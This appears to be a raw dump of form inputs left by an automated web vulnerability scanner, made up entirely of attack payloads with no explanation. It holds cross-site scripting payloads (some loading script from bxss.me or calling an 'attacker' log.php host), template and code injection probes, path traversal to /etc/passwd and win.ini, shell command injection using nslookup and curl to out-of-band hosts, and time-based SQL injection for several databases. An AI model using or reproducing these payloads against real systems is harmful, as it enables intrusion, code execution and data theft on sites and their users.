1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555<a9FJpj3 x=9080>
555
dfb{{98991*97996}}xca
555<img sRc='http://attacker-9434/log.php?
555
555<a8wKtqS<
555
dfb[[${98991*97996}]]xca
555
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
555<ScRiPt >pwL4(9968)</ScRiPt>
555
555<WGOH9R>W3C3P[!+!]</WGOH9R>
555
555<script>pwL4(9289)</script>
555
555<script>pwL4(9135)</script>9135
555
555%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%70%77%4C%34%28%39%38%32%38%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
555
555<ScRiPt >pwL4(9954)</ScRiPt>
555
555
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9420></ScRiPt>
555< ScRiPt >pwL4(9731)</ScRiPt>
555
555
555<isindex type=image src=1 onerror=pwL4(9735)>
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9492'>
555<body onload=pwL4(9974)>
555
555<img src=//xss.bxss.me/t/dot.gif onload=pwL4(9814)>
555
555<img src=xyz OnErRor=pwL4(9453)>
555
555<img/src=">" onerror=alert(9637)>
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%70%77%4C%34%289453%29%3C%2F%73%43%72%69%70%54%3E
555
555\u003CScRiPt\pwL4(9395)\u003C/sCripT\u003E
555
555<ScRiPt>pwL4(9895)</sCripT>
555
555<input autofocus onfocus=pwL4(9694)>
555
555
<a HrEF=http://xss.bxss.me></a>
555
<a HrEF=jaVaScRiPT:>
555
555}body{zzz:Expre/**/SSion(pwL4(9839))}
555
555pGyoA <ScRiPt >pwL4(9830)</ScRiPt>
555
555<W7DZMP>LB3ZK[!+!]</W7DZMP>
555
555<ifRAme sRc=9627.com></IfRamE>
555
555<aw5RlHc x=9313>
555
555<img sRc='http://attacker-9972/log.php?
555
555<a9miOhk<
555'"()&%<zzz><ScRiPt >cyyg(9211)</ScRiPt>
'"()&%<zzz><ScRiPt >cyyg(9005)</ScRiPt>
5559965278
555
555
bfg4693%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl4693
bfgx1600%C0%BEz1%C0%BCz2a%90bcxhjl1600
555
<%={{={@{#{${dfb}}%>
555
<th:t="${dfb}#foreach
555
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
555
dfb{{98991*97996}}xca
555
555
dfb[[${98991*97996}]]xca
555
555
dfb__${98991*97996}__::.x
555
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
555
555<ScRiPt >cyyg(9328)</ScRiPt>
555
555
555
555<WBPNVZ>XBCOQ[!+!]</WBPNVZ>
555
555<script>cyyg(9173)</script>
555
555
555
555<script>cyyg(9552)</script>9552
555
555
555%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%63%79%79%67%28%39%30%31%30%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
555
555
555<ScRiPt >cyyg(9684)</ScRiPt>
555
555
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9251></ScRiPt>
555
555
555< ScRiPt >cyyg(9478)</ScRiPt>
555
555
555
555<isindex type=image src=1 onerror=cyyg(9557)>
555
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9443'>
555
555<body onload=cyyg(9863)>
555
555
555<img src=//xss.bxss.me/t/dot.gif onload=cyyg(9934)>
555
555
555<img src=xyz OnErRor=cyyg(9758)>
555
555
555<img/src=">" onerror=alert(9472)>
555
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%63%79%79%67%289121%29%3C%2F%73%43%72%69%70%54%3E
555
555
555\u003CScRiPt\cyyg(9365)\u003C/sCripT\u003E
555
555<ScRiPt>cyyg(9512)</sCripT>
555
555
555
555
555<input autofocus onfocus=cyyg(9967)>
555
555
<a HrEF=http://xss.bxss.me></a>
555
<a HrEF=jaVaScRiPT:>
555
555
555}body{zzz:Expre/**/SSion(cyyg(9645))}
555
555
555vOfpD <ScRiPt >cyyg(9204)</ScRiPt>
555
555
555<WAUWLP>KHMQR[!+!]</WAUWLP>
555
555
555<ifRAme sRc=9033.com></IfRamE>
555
555<aye77R6 x=9831>
555
555
555
555<img sRc='http://attacker-9524/log.php?
555
555<a5xA7oc<
555
555
555
555
555
555
555'"()&%<zzz><ScRiPt >yOFe(9065)</ScRiPt>
'"()&%<zzz><ScRiPt >yOFe(9291)</ScRiPt>
5559647028
bfg8458%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl8458
bfgx10299%C0%BEz1%C0%BCz2a%90bcxhjl10299
<%={{={@{#{${dfb}}%>
<th:t="${dfb}#foreach
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
dfb{{98991*97996}}xca
dfb[[${98991*97996}]]xca
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555<ScRiPt >yOFe(9523)</ScRiPt>
555<W2HO2E>CPS32[!+!]</W2HO2E>
555<script>yOFe(9012)</script>
555<script>yOFe(9261)</script>9261
555%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%79%4F%46%65%28%39%33%39%30%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
555<ScRiPt >yOFe(9092)</ScRiPt>
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9086></ScRiPt>
555< ScRiPt >yOFe(9409)</ScRiPt>
555<isindex type=image src=1 onerror=yOFe(9937)>
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9881'>
555<body onload=yOFe(9368)>
555<img src=//xss.bxss.me/t/dot.gif onload=yOFe(9660)>
555<img src=xyz OnErRor=yOFe(9391)>
555<img/src=">" onerror=alert(9579)>
%35%35%35%3C%53%63%52%69%50%74%20%3E%79%4F%46%65%289261%29%3C%2F%73%43%72%69%70%54%3E
555\u003CScRiPt\yOFe(9202)\u003C/sCripT\u003E
555<ScRiPt>yOFe(9445)</sCripT>
555<input autofocus onfocus=yOFe(9937)>
<a HrEF=http://xss.bxss.me></a>
<a HrEF=jaVaScRiPT:>
555}body{zzz:Expre/**/SSion(yOFe(9519))}
555zezZG <ScRiPt >yOFe(9556)</ScRiPt>
555<WCQYI3>4EDUW[!+!]</WCQYI3>
555<ifRAme sRc=9136.com></IfRamE>
555<aWu9nsz x=9799>
555<img sRc='http://attacker-9734/log.php?
555<asyt2xy<
555
1
555
1Ch8PcrS9nO
555
555
555
555
555
555
555
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
555
Http://bxss.me/t/fit.txt
http://bxss.me/t/fit.txt%3F.jpg
/etc/shells
../../../../../../../../../../../../../../etc/shells
555
c:/windows/win.ini
bxss.me
555
555
)
!(()&&!|*|*|
^(#$!@#$)(()))******
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
${10000112+9999164}
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
response.write(9061501*9507151)
555
'+response.write(9061501*9507151)+'
555
"+response.write(9061501*9507151)+"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
buFkUlgc
555
RijFTgXR: uIvtdH4I
555
555
555
555
555
555
555
555
555
555
555
echo ldowty$()\ yccimd\nz^xyu||a #' &echo ldowty$()\ yccimd\nz^xyu||a #|" &echo ldowty$()\ yccimd\nz^xyu||a #
555
555
&echo sjkiee$()\ uyacwi\nz^xyu||a #' &echo sjkiee$()\ uyacwi\nz^xyu||a #|" &echo sjkiee$()\ uyacwi\nz^xyu||a #
555&echo elkoze$()\ uyoelx\nz^xyu||a #' &echo elkoze$()\ uyoelx\nz^xyu||a #|" &echo elkoze$()\ uyoelx\nz^xyu||a #
555
|echo eltsde$()\ jwxxij\nz^xyu||a #' |echo eltsde$()\ jwxxij\nz^xyu||a #|" |echo eltsde$()\ jwxxij\nz^xyu||a #
555|echo jydlvn$()\ vflzkp\nz^xyu||a #' |echo jydlvn$()\ vflzkp\nz^xyu||a #|" |echo jydlvn$()\ vflzkp\nz^xyu||a #
(nslookup -q=cname hitnmyetoqlzbc32ce.bxss.me||curl hitnmyetoqlzbc32ce.bxss.me))
$(nslookup -q=cname hithciejtojmse6da4.bxss.me||curl hithciejtojmse6da4.bxss.me)
555
&nslookup -q=cname hitxyqhwrnyyk3ce37.bxss.me&'\"`0&nslookup -q=cname hitxyqhwrnyyk3ce37.bxss.me&`'
555
&(nslookup -q=cname hitztqfpemyzle5f8c.bxss.me||curl hitztqfpemyzle5f8c.bxss.me)&'\"`0&(nslookup -q=cname hitztqfpemyzle5f8c.bxss.me||curl hitztqfpemyzle5f8c.bxss.me)&`'
555
555
|(nslookup -q=cname hitqyjmqtiacb3a629.bxss.me||curl hitqyjmqtiacb3a629.bxss.me)
`(nslookup -q=cname hithhcufifegq5e677.bxss.me||curl hithhcufifegq5e677.bxss.me)`
;(nslookup -q=cname hitoftojflabm8f089.bxss.me||curl hitoftojflabm8f089.bxss.me)|(nslookup -q=cname hitoftojflabm8f089.bxss.me||curl hitoftojflabm8f089.bxss.me)&(nslookup -q=cname hitoftojflabm8f089.bxss.me||curl hitoftojflabm8f089.bxss.me)
555
|(nslookup${IFS}-q${IFS}cname${IFS}hithkdhypaopj4cb17.bxss.me||curl${IFS}hithkdhypaopj4cb17.bxss.me)
../../../../../../../../../../../../../../etc/passwd
&(nslookup${IFS}-q${IFS}cname${IFS}hitjtgcyrinotc93e1.bxss.me||curl${IFS}hitjtgcyrinotc93e1.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hitjtgcyrinotc93e1.bxss.me||curl${IFS}hitjtgcyrinotc93e1.bxss.me)&`'
../../../../../../../../../../../../../../windows/win.ini
file:///etc/passwd
555
../555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'.gethostbyname(lc('hithj'.'yntwmdiw18701.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(117).chr(82).chr(107).chr(65).'
555
555
"+"A".concat(70-3).concat(22*4).concat(119).concat(81).concat(117).concat(74)+(require"socket" Socket.gethostbyname("hitmn"+"dlnbgqbd7bbc3.bxss.me.")[3].to_s)+"
555
'+'A'.concat(70-3).concat(22*4).concat(113).concat(77).concat(106).concat(71)+(require'socket' Socket.gethostbyname('hitxr'+'zpwambnj33d7d.bxss.me.')[3].to_s)+'
555
".gethostbyname(lc("hitgq"."ngsjqrlh27816.bxss.me."))."A".chr(67).chr(hex("58")).chr(119).chr(67).chr(111).chr(72)."
gethostbyname(lc('hitzg'.'uqoxkstkf9a31.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(106).chr(66).chr(98).chr(88)
'A'.concat(70-3).concat(22*4).concat(120).concat(77).concat(109).concat(87)+(require'socket' Socket.gethostbyname('hitpf'+'vaztvydpe6acd.bxss.me.')[3].to_s)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
555
555
555
555
555
555
555
xfs.bxss.me
555
555
555
555
555
555
555
555
555
555
555
555
555
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
'"
';print(md5(31337));$a='
<!--
";print(md5(31337));$a="
'"()
555'&&sleep(27*1000)*klewai&&'
${@print(md5(31337))}
555"&&sleep(27*1000)*zzllft&&"
555
555'||sleep(27*1000)*qpyjke||'
555
${@print(md5(31337))}\
555"||sleep(27*1000)*gvyqmn||"
'.print(md5(31337)).'
555
<?php print(md5(31337));?>
555
'{${print(md5(31337))}}'
555
print(md5(31337));//
{php}print(md5(31337));{/php}
[php]print(md5(31337));[/php]
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
1
555
1
555
555
1
555
1
555
555
555
555
1
555
1
555
1
555
555
555
555
555
1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555*if(now()=sysdate(),sleep(15),0)
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555HWm0UirA'; waitfor delay '0:0:15' --
555-1 OR 578=(SELECT 578 FROM PG_SLEEP(15))--
555-1) OR 790=(SELECT 790 FROM PG_SLEEP(15))--
555-1)) OR 397=(SELECT 397 FROM PG_SLEEP(15))--
555hHW4OeQN' OR 232=(SELECT 232 FROM PG_SLEEP(15))--
555efSY4WbM') OR 302=(SELECT 302 FROM PG_SLEEP(15))--
555c6ApoZSc')) OR 509=(SELECT 509 FROM PG_SLEEP(15))--
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555'"
@@avDGR
555
1
555
1
1
1
1
1
1
1
1
1
1
1
1
555
1
555
1
555
1
555
1
555
1
555
1
1
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555'"()&%<zzz><ScRiPt >BRJW(9157)</ScRiPt>
'"()&%<zzz><ScRiPt >BRJW(9147)</ScRiPt>
555
5559289942
555
bfg10398%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl10398
555
bfgx2865%C0%BEz1%C0%BCz2a%90bcxhjl2865
555
<%={{={@{#{${dfb}}%>
555
<th:t="${dfb}#foreach
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
dfb{{98991*97996}}xca
555
dfb[[${98991*97996}]]xca
555
555
dfb__${98991*97996}__::.x
555
555
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
555
555<ScRiPt >BRJW(9860)</ScRiPt>
555
555
555<WLBQPT>UN5N4[!+!]</WLBQPT>
555
555'"()&%<zzz><ScRiPt >FEPn(9730)</ScRiPt>
555
555<script>BRJW(9065)</script>
'"()&%<zzz><ScRiPt >FEPn(9773)</ScRiPt>
555
555
555<script>BRJW(9860)</script>9860
5559990939
555
555
555%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%42%52%4A%57%28%39%39%34%37%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
555
555
bfg4855%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl4855
555<ScRiPt >BRJW(9760)</ScRiPt>
555
555
bfgx2559%C0%BEz1%C0%BCz2a%90bcxhjl2559
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9312></ScRiPt>
555
555< ScRiPt >BRJW(9734)</ScRiPt>
555
<%={{={@{#{${dfb}}%>
555
555
<th:t="${dfb}#foreach
555
555<isindex type=image src=1 onerror=BRJW(9807)>
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9826'>
555
555
555
555<body onload=BRJW(9740)>
dfb{{98991*97996}}xca
555
555
555<img src=//xss.bxss.me/t/dot.gif onload=BRJW(9388)>
dfb[[${98991*97996}]]xca
555
555
555<img src=xyz OnErRor=BRJW(9738)>
dfb__${98991*97996}__::.x
555
555
555<img/src=">" onerror=alert(9106)>
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%42%52%4A%57%289163%29%3C%2F%73%43%72%69%70%54%3E
555
555<ScRiPt >FEPn(9547)</ScRiPt>
555
555\u003CScRiPt\BRJW(9465)\u003C/sCripT\u003E
555<WUQAP8>IHNYT[!+!]</WUQAP8>
555
555
555<script>FEPn(9210)</script>
555<ScRiPt>BRJW(9667)</sCripT>
555
555
555
555<script>FEPn(9270)</script>9270
555<input autofocus onfocus=BRJW(9083)>
555
555%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%46%45%50%6E%28%39%31%39%37%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
<a HrEF=http://xss.bxss.me></a>
555
555
555<ScRiPt >FEPn(9924)</ScRiPt>
<a HrEF=jaVaScRiPT:>
555
555
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9687></ScRiPt>
555
555}body{zzz:Expre/**/SSion(BRJW(9902))}
555
555iCU38 <ScRiPt >BRJW(9481)</ScRiPt>
555
555< ScRiPt >FEPn(9647)</ScRiPt>
555
555<WFVFRM>SNGNG[!+!]</WFVFRM>
555
555
555<ifRAme sRc=9757.com></IfRamE>
555
555<isindex type=image src=1 onerror=FEPn(9630)>
555
555<aOPKwyQ x=9018>
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9693'>
555
555<img sRc='http://attacker-9860/log.php?
555
555<body onload=FEPn(9293)>
555
555
555<avT48sV<
555<img src=//xss.bxss.me/t/dot.gif onload=FEPn(9028)>
555
555<img src=xyz OnErRor=FEPn(9140)>
555
555<img/src=">" onerror=alert(9694)>
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%46%45%50%6E%289411%29%3C%2F%73%43%72%69%70%54%3E
555
555\u003CScRiPt\FEPn(9103)\u003C/sCripT\u003E
555
555<ScRiPt>FEPn(9596)</sCripT>
555
555
555<input autofocus onfocus=FEPn(9697)>
555
<a HrEF=http://xss.bxss.me></a>
555
<a HrEF=jaVaScRiPT:>
555
555}body{zzz:Expre/**/SSion(FEPn(9149))}
555
555cR03w <ScRiPt >FEPn(9454)</ScRiPt>
555<WBNJCG>BKVVL[!+!]</WBNJCG>
555<ifRAme sRc=9898.com></IfRamE>
555<aBriAfq x=9060>
555<img sRc='http://attacker-9393/log.php?
555<aQx1Izw<
555'"()&%<zzz><ScRiPt >kT9s(9986)</ScRiPt>
'"()&%<zzz><ScRiPt >kT9s(9358)</ScRiPt>
5559807246
bfg3879%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl3879
bfgx8836%C0%BEz1%C0%BCz2a%90bcxhjl8836
<%={{={@{#{${dfb}}%>
<th:t="${dfb}#foreach
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
dfb{{98991*97996}}xca
dfb[[${98991*97996}]]xca
dfb__${98991*97996}__::.x
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555<ScRiPt >kT9s(9366)</ScRiPt>
555<WU6X4K>MDQMA[!+!]</WU6X4K>
555<script>kT9s(9507)</script>
555<script>kT9s(9364)</script>9364
555%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%6B%54%39%73%28%39%37%30%30%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
555<ScRiPt >kT9s(9983)</ScRiPt>
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9090></ScRiPt>
555
555< ScRiPt >kT9s(9052)</ScRiPt>
555
555
555<isindex type=image src=1 onerror=kT9s(9787)>
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9596'>
555
555<body onload=kT9s(9838)>
555
555<img src=//xss.bxss.me/t/dot.gif onload=kT9s(9422)>
555
555<img src=xyz OnErRor=kT9s(9640)>
555
555<img/src=">" onerror=alert(9222)>
555
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%6B%54%39%73%289180%29%3C%2F%73%43%72%69%70%54%3E
555
555
555\u003CScRiPt\kT9s(9156)\u003C/sCripT\u003E
555
555
555<ScRiPt>kT9s(9333)</sCripT>
555
555
555
555
555<input autofocus onfocus=kT9s(9086)>
555
555
<a HrEF=http://xss.bxss.me></a>
555
<a HrEF=jaVaScRiPT:>
555
555
555}body{zzz:Expre/**/SSion(kT9s(9041))}
555
555RnzKf <ScRiPt >kT9s(9301)</ScRiPt>
555
555
555
555<WQENES>GVXSU[!+!]</WQENES>
555
555'"()&%<zzz><ScRiPt >zpqt(9286)</ScRiPt>
555
555<ifRAme sRc=9200.com></IfRamE>
555
555
'"()&%<zzz><ScRiPt >zpqt(9954)</ScRiPt>
555<afeASat x=9590>
555
555
555<img sRc='http://attacker-9701/log.php?
5559184321
555
555
555<aPJvhSA<
555
bfg1779%EF%BC%9Cs1%EF%B9%A5s2%CA%BAs3%CA%B9hjl1779
555
bfgx6882%C0%BEz1%C0%BCz2a%90bcxhjl6882
555
555
<%={{={@{#{${dfb}}%>
555
555
555
555
555
<th:t="${dfb}#foreach
555
555
555
555
555
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
555
555
555
555
dfb{{98991*97996}}xca
555
555
dfb[[${98991*97996}]]xca
555
555
dfb__${98991*97996}__::.x
555
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
555
555
555<ScRiPt >zpqt(9075)</ScRiPt>
555
555
555<W9MID2>TLQB4[!+!]</W9MID2>
555
555
555<script>zpqt(9079)</script>
555
555
555<script>zpqt(9697)</script>9697
555
555
555%3C%53%63%52%3C%53%63%52%69%50%74%3E%49%70%54%3E%7A%70%71%74%28%39%37%33%36%29%3C%2F%73%43%72%3C%53%63%52%69%50%74%3E%49%70%54%3E
555
555
555<ScRiPt >zpqt(9149)</ScRiPt>
555
555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9175></ScRiPt>
555
555
555< ScRiPt >zpqt(9800)</ScRiPt>
555
555
555
555<isindex type=image src=1 onerror=zpqt(9625)>
555
555
555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9933'>
555
555<body onload=zpqt(9495)>
555
555<img src=//xss.bxss.me/t/dot.gif onload=zpqt(9820)>
555
555<img src=xyz OnErRor=zpqt(9977)>
555
555<img/src=">" onerror=alert(9258)>
555
%35%35%35%3C%53%63%52%69%50%74%20%3E%7A%70%71%74%289419%29%3C%2F%73%43%72%69%70%54%3E
555
555\u003CScRiPt\zpqt(9312)\u003C/sCripT\u003E
555<ScRiPt>zpqt(9405)</sCripT>
555<input autofocus onfocus=zpqt(9400)>
<a HrEF=http://xss.bxss.me></a>
<a HrEF=jaVaScRiPT:>
555}body{zzz:Expre/**/SSion(zpqt(9721))}
555knxae <ScRiPt >zpqt(9221)</ScRiPt>
555<WKCGZZ>6GMUR[!+!]</WKCGZZ>
555<ifRAme sRc=9543.com></IfRamE>
555<ae4VqQV x=9433>
555<img sRc='http://attacker-9896/log.php?
555<aPEeHVu<
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
555
1
1bMfT3itO
1
555
555
1
555
1
555
1
555
555
1
555
1
555
555
)
555
1
555
!(()&&!|*|*|
^(#$!@#$)(()))******
555
555
555
555
555
555
555
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg
555
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg
Http://bxss.me/t/fit.txt
555
http://bxss.me/t/fit.txt%3F.jpg
555
555
/etc/shells
555
../../../../../../../../../../../../../../etc/shells
555
c:/windows/win.ini
555
bxss.me
${10000122+9999121}
555
555
555
555
555
response.write(9561479*9043213)
555
'+response.write(9561479*9043213)+'
"+response.write(9561479*9043213)+"
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
jrCOzc0P
555
555
DijmNV6g: JIiHiT4S
555
555
555
555
555
555
555
555
555
555
555
echo hytrkd$()\ uayssr\nz^xyu||a #' &echo hytrkd$()\ uayssr\nz^xyu||a #|" &echo hytrkd$()\ uayssr\nz^xyu||a #
555
&echo asjlwk$()\ jzvkgd\nz^xyu||a #' &echo asjlwk$()\ jzvkgd\nz^xyu||a #|" &echo asjlwk$()\ jzvkgd\nz^xyu||a #
555
555&echo ytyfcb$()\ ezqbrc\nz^xyu||a #' &echo ytyfcb$()\ ezqbrc\nz^xyu||a #|" &echo ytyfcb$()\ ezqbrc\nz^xyu||a #
555
555
555
|echo xdhgho$()\ icqzom\nz^xyu||a #' |echo xdhgho$()\ icqzom\nz^xyu||a #|" |echo xdhgho$()\ icqzom\nz^xyu||a #
555
555
555|echo zacdnq$()\ umfdgi\nz^xyu||a #' |echo zacdnq$()\ umfdgi\nz^xyu||a #|" |echo zacdnq$()\ umfdgi\nz^xyu||a #
(nslookup -q=cname hitzflwzovywi7e97b.bxss.me||curl hitzflwzovywi7e97b.bxss.me))
$(nslookup -q=cname hittksifqnnrm08c3c.bxss.me||curl hittksifqnnrm08c3c.bxss.me)
&nslookup -q=cname hitpxieoukker2b7f8.bxss.me&'\"`0&nslookup -q=cname hitpxieoukker2b7f8.bxss.me&`'
555
555
555
&(nslookup -q=cname hitfcvsygbhqudd139.bxss.me||curl hitfcvsygbhqudd139.bxss.me)&'\"`0&(nslookup -q=cname hitfcvsygbhqudd139.bxss.me||curl hitfcvsygbhqudd139.bxss.me)&`'
555
555
|(nslookup -q=cname hitemgeestgvd73d30.bxss.me||curl hitemgeestgvd73d30.bxss.me)
555
`(nslookup -q=cname hitfwqgplskyp7147a.bxss.me||curl hitfwqgplskyp7147a.bxss.me)`
12345'"\'\");|]*%00{%0d%0a<%00>%bf%27'💡
555
;(nslookup -q=cname hitiinltioacj794f5.bxss.me||curl hitiinltioacj794f5.bxss.me)|(nslookup -q=cname hitiinltioacj794f5.bxss.me||curl hitiinltioacj794f5.bxss.me)&(nslookup -q=cname hitiinltioacj794f5.bxss.me||curl hitiinltioacj794f5.bxss.me)
555
|(nslookup${IFS}-q${IFS}cname${IFS}hitzddbwsfikx9f8f1.bxss.me||curl${IFS}hitzddbwsfikx9f8f1.bxss.me)
../../../../../../../../../../../../../../etc/passwd
&(nslookup${IFS}-q${IFS}cname${IFS}hityfguyiqwex41c17.bxss.me||curl${IFS}hityfguyiqwex41c17.bxss.me)&'\"`0&(nslookup${IFS}-q${IFS}cname${IFS}hityfguyiqwex41c17.bxss.me||curl${IFS}hityfguyiqwex41c17.bxss.me)&`'
../../../../../../../../../../../../../../windows/win.ini
555
file:///etc/passwd
555
555
../555
555
555
555
555
555
555
555
555<esi:include src="http://bxss.me/rpb.png"/>
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
'.gethostbyname(lc('hitbf'.'dzytmruefdb87.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(97).chr(81).chr(121).chr(74).'
555
555
".gethostbyname(lc("hitmm"."vwcipuab5beac.bxss.me."))."A".chr(67).chr(hex("58")).chr(105).chr(74).chr(111).chr(87)."
555
555
555
gethostbyname(lc('hitka'.'vnafabrr1f72e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(114).chr(83).chr(103).chr(84)
555
555
"+"A".concat(70-3).concat(22*4).concat(119).concat(68).concat(104).concat(83)+(require"socket" Socket.gethostbyname("hited"+"ocqagylqcbc8a.bxss.me.")[3].to_s)+"
'+'A'.concat(70-3).concat(22*4).concat(118).concat(79).concat(114).concat(83)+(require'socket' Socket.gethostbyname('hitwi'+'jackspjrc001c.bxss.me.')[3].to_s)+'
555
'A'.concat(70-3).concat(22*4).concat(100).concat(81).concat(102).concat(87)+(require'socket' Socket.gethostbyname('hitgv'+'frxkujfv11090.bxss.me.')[3].to_s)
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
xfs.bxss.me
555
555
555
555
'"()
555
555
555
555'&&sleep(27*1000)*pprqvu&&'
555
555
555
555"&&sleep(27*1000)*ibqygw&&"
555
555'||sleep(27*1000)*jezxwa||'
555
555
555
555"||sleep(27*1000)*ixvato||"
555
555
555
555
555
555
'"
